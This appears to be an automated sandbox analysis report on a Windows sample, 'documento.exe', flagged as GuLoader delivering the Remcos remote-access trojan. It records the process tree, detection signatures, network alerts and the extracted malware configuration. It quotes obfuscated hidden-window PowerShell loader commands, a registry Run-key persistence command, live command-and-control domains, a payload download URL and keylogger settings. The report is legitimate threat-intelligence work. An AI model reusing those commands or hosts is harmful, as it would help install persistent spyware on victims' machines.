Edit tour

Windows Analysis Report
documento.exe

Overview

General Information

Sample name:	documento.exe
Analysis ID:	1434785
MD5:	518c32edf768d3be4f268071e0722a0f
SHA1:	2f606e59b3900154094978a3c2dcc16a7addfd55
SHA256:	e7092eb28dc769559d0d9db50ef39b664ae5ec4ba76ac580c11dfbfa1c426290
Infos:

Detection

GuLoader, Remcos

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus detection for URL or domain

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected GuLoader

Yara detected Remcos RAT

C2 URLs / IPs found in malware configuration

Initial sample is a PE file and has a suspicious name

Installs a global keyboard hook

Installs new ROOT certificates

Obfuscated command line found

Powershell drops PE file

Searches for Windows Mail specific files

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Suspicious powershell command line found

Uses dynamic DNS services

Writes to foreign memory regions

Abnormal high CPU Usage

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: CurrentVersion Autorun Keys Modification

Sigma detected: Direct Autorun Keys Modification

Sigma detected: Potential Dosfuscation Activity

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Sleep loop found (likely to delay execution)

Stores large binary data to the registry

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses reg.exe to modify the Windows registry

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w7x64

documento.exe (PID: 1308 cmdline: "C:\Users\user\Desktop\documento.exe" MD5: 518C32EDF768D3BE4F268071E0722A0F)

powershell.exe (PID: 1784 cmdline: "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

cmd.exe (PID: 3188 cmdline: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0" MD5: AD7B9C14083B52BC532FBA5948342B98)

wab.exe (PID: 3336 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: EF162817C730DB9355F6C28F2445D206)

cmd.exe (PID: 3372 cmdline: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)" MD5: AD7B9C14083B52BC532FBA5948342B98)

reg.exe (PID: 3416 cmdline: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)" MD5: D69A9ABBB0D795F21995C2F48C1EB560)

powershell.exe (PID: 3672 cmdline: "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Preeternal) MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 3788 cmdline: "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

cmd.exe (PID: 3880 cmdline: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0" MD5: AD7B9C14083B52BC532FBA5948342B98)

wab.exe (PID: 2208 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: EF162817C730DB9355F6C28F2445D206)

powershell.exe (PID: 3948 cmdline: "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;c:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe ($Preeternal) MD5: EB32C070E658937AA9FA9F3AE629B2B8)

powershell.exe (PID: 4076 cmdline: "C:\windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)" MD5: EB32C070E658937AA9FA9F3AE629B2B8)

cmd.exe (PID: 1836 cmdline: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0" MD5: AD7B9C14083B52BC532FBA5948342B98)

wab.exe (PID: 2028 cmdline: "C:\Program Files (x86)\windows mail\wab.exe" MD5: EF162817C730DB9355F6C28F2445D206)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
Remcos, RemcosRAT	Remcos (acronym of Remote Control & Surveillance Software) is a commercial Remote Access Tool to remotely control computers.Remcos is advertised as legitimate software which can be used for surveillance and penetration testing purposes, but has been used in numerous hacking campaigns.Remcos, once installed, opens a backdoor on the computer, granting full access to the remote user.Remcos is developed by the cybersecurity company BreakingSecurity.	APT33 The Gorgon Group UAC-0050	http://malware-traffic-analysis.net/2017/12/22/index.html https://asec.ahnlab.com/en/32376/ https://asec.ahnlab.com/ko/25837/ https://asec.ahnlab.com/ko/32101/ https://blog.360totalsecurity.com/en/vendetta-new-threat-actor-from-europe/	https://malpedia.caad.fkie.fraunhofer.de/details/win.remcos

Malware Configuration

Threatname: Remcos

{"Host:Port:Password": "learfo55ozj01.duckdns.org:29871:0learfo55ozj01.duckdns.org:29872:1learfo55ozj02.duckdns.org:29872:1", "Assigned name": "Top", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "alpwovnb-G3F5OR", "Keylog flag": "1", "Keylog path": "AppData", "Keylog file": "mqerms.dat", "Keylog crypt": "Disable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Users\user\AppData\Roaming\mqerms.dat	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security
00000013.00000002.791285733.00000000085E1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
0000000F.00000002.783334592.00000000083F1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
00000003.00000002.538410512.000000000839B000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: wab.exe PID: 3336	JoeSecurity_Remcos	Yara detected Remcos RAT	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)", CommandLine: "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\documento.exe", ParentImage: C:\Users\user\Desktop\documento.exe, ParentProcessId: 1308, ParentProcessName: documento.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)", ProcessId: 1784, ProcessName: powershell.exe

Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", CommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\windows mail\wab.exe", ParentImage: C:\Program Files (x86)\Windows Mail\wab.exe, ParentProcessId: 3336, ParentProcessName: wab.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", ProcessId: 3372, ProcessName: cmd.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: %knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal), EventID: 13, EventType: SetValue, Image: C:\Windows\SysWOW64\reg.exe, ProcessId: 3416, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Startup key

Sigma detected: Direct Autorun Keys Modification

Source: Process started

Author: Victor Sergeev, Daniil Yugoslavskiy, oscd.community: Data: Command: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", CommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", CommandLine|base64offset|contains: DA, Image: C:\Windows\SysWOW64\reg.exe, NewProcessName: C:\Windows\SysWOW64\reg.exe, OriginalFileName: C:\Windows\SysWOW64\reg.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3372, ParentProcessName: cmd.exe, ProcessCommandLine: REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", ProcessId: 3416, ProcessName: reg.exe

Sigma detected: Potential Dosfuscation Activity

Source: Process started

Author: frack113, Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0", CommandLine: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)", ParentImage: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 1784, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\system32\cmd.exe" "/c set /A 1^^0", ProcessId: 3188, ProcessName: cmd.exe

Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", CommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\cmd.exe, NewProcessName: C:\Windows\SysWOW64\cmd.exe, OriginalFileName: C:\Windows\SysWOW64\cmd.exe, ParentCommandLine: "C:\Program Files (x86)\windows mail\wab.exe", ParentImage: C:\Program Files (x86)\Windows Mail\wab.exe, ParentProcessId: 3336, ParentProcessName: wab.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Startup key" /t REG_EXPAND_SZ /d "%knkbrdet% -windowstyle minimized $Preeternal=(Get-ItemProperty -Path 'HKCU:\Morassweed\').Herbalize;%knkbrdet% ($Preeternal)", ProcessId: 3372, ProcessName: cmd.exe

Sigma detected: Modification of IE Registry Settings

Source: Registry Key set

Author: frack113: Data: Details: 46 00 00 00 2A 00 00 00 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 00 00 00 C0 A8 02 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 , EventID: 13, EventType: SetValue, Image: C:\Program Files (x86)\Windows Mail\wab.exe, ProcessId: 3336, TargetObject: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)", CommandLine: "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Users\user\Desktop\documento.exe", ParentImage: C:\Users\user\Desktop\documento.exe, ParentProcessId: 1308, ParentProcessName: documento.exe, ProcessCommandLine: "powershell.exe" -windowstyle hidden "$Linksman=Get-Content 'C:\Users\user\AppData\Local\Temp\Deinotherium\Jordagtig138\Unmonotonous\Iraqian\Fermentatively.Bry';$Curiet136=$Linksman.SubString(57835,3);.$Curiet136($Linksman)", ProcessId: 1784, ProcessName: powershell.exe

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 1784, TargetFilename: C:\Users\user\AppData\Local\Temp\xpryghvs.t4f.ps1

Snort Signatures

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:23:23.262842
SID:	2032776
Source Port:	49209
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:20:57.936276
SID:	2032776
Source Port:	49168
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:21.331517
SID:	2032776
Source Port:	49178
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:23:13.842964
SID:	2032776
Source Port:	49208
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:43.786919
SID:	2032776
Source Port:	49194
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:20:44.045773
SID:	2032776
Source Port:	49162
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:22:00.766012
SID:	2032776
Source Port:	49201
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:07.237994
SID:	2032776
Source Port:	49172
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:27.525704
SID:	2032776
Source Port:	49182
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:30.630074
SID:	2032776
Source Port:	49184
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:20:47.790429
SID:	2032776
Source Port:	49164
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:41.022094
SID:	2032776
Source Port:	49192
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:22:17.546146
SID:	2032776
Source Port:	49203
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:02.210994
SID:	2032776
Source Port:	49170
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:13.917858
SID:	2032776
Source Port:	49174
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:52.776472
SID:	2032776
Source Port:	49200
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:46.503399
SID:	2032776
Source Port:	49196
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:20:51.253286
SID:	2032776
Source Port:	49166
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:38.544111
SID:	2032776
Source Port:	49190
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:16.542075
SID:	2032776
Source Port:	49176
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:23.863096
SID:	2032776
Source Port:	49180
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:32.998808
SID:	2032776
Source Port:	49186
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:35.642740
SID:	2032776
Source Port:	49188
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Remcos 3.x Unencrypted Checkin - Source IP: 192.168.2.22 - Destination IP: 192.169.69.26

Timestamp:	05/01/24-18:21:49.211552
SID:	2032776
Source Port:	49198
Destination Port:	29871
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: learfo55ozj01.duckdns.org	Avira URL Cloud: Label: malware
Source: https://ricohltd.top/	Avira URL Cloud: Label: malware
Source: https://ricohltd.top/ELFpBDmh152.bin	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp

Malware Configuration Extractor: Remcos {"Host:Port:Password": "learfo55ozj01.duckdns.org:29871:0learfo55ozj01.duckdns.org:29872:1learfo55ozj02.duckdns.org:29872:1", "Assigned name": "Top", "Connect interval": "1", "Install flag": "Disable", "Setup HKCU\\Run": "Enable", "Setup HKLM\\Run": "Enable", "Install path": "Application path", "Copy file": "remcos.exe", "Startup value": "Disable", "Hide file": "Disable", "Mutex": "alpwovnb-G3F5OR", "Keylog flag": "1", "Keylog path": "AppData", "Keylog file": "mqerms.dat", "Keylog crypt": "Disable", "Hide keylog file": "Enable", "Screenshot flag": "Disable", "Screenshot time": "10", "Take Screenshot option": "Disable", "Take screenshot title": "", "Take screenshot time": "5", "Screenshot path": "AppData", "Screenshot file": "Screenshots", "Screenshot crypt": "Disable", "Mouse option": "Disable", "Delete file": "Disable", "Audio record time": "5"}

Multi AV Scanner detection for domain / URL

Source: learfo55ozj01.duckdns.org	Virustotal: Detection: 16%	Perma Link
Source: ricohltd.top	Virustotal: Detection: 20%	Perma Link
Source: learfo55ozj01.duckdns.org	Virustotal: Detection: 16%	Perma Link
Source: https://ricohltd.top/	Virustotal: Detection: 20%	Perma Link
Source: https://ricohltd.top/ELFpBDmh152.bin	Virustotal: Detection: 20%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe	ReversingLabs: Detection: 45%
Source: C:\Users\user\AppData\Local\Temp\Deinotherium\Pugilist\Unreturnableness\Tapeta\Vulgare\documento.exe	Virustotal: Detection: 29%			Perma Link

Multi AV Scanner detection for submitted file

Source: documento.exe	ReversingLabs: Detection: 45%
Source: documento.exe	Virustotal: Detection: 29%			Perma Link

Yara detected Remcos RAT

Source: Yara match	File source: 00000006.00000002.866892514.0000000000449000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wab.exe PID: 3336, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Roaming\mqerms.dat, type: DROPPED

Source: documento.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.21.60.38:443 -> 192.168.2.22:49161 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.191.112:443 -> 192.168.2.22:49204 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.60.38:443 -> 192.168.2.22:49205 version: TLS 1.2

Source: documento.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: :\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000003.00000002.538026675.0000000005060000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\documento.exe	Code function: 0_2_00406001 FindFirstFileA,FindClose,	0_2_00406001
Source: C:\Users\user\Desktop\documento.exe	Code function: 0_2_00402688 FindFirstFileA,	0_2_00402688
Source: C:\Users\user\Desktop\documento.exe	Code function: 0_2_0040559F GetTempPathA,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_0040559F

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\Deinotherium\	Jump to behavior
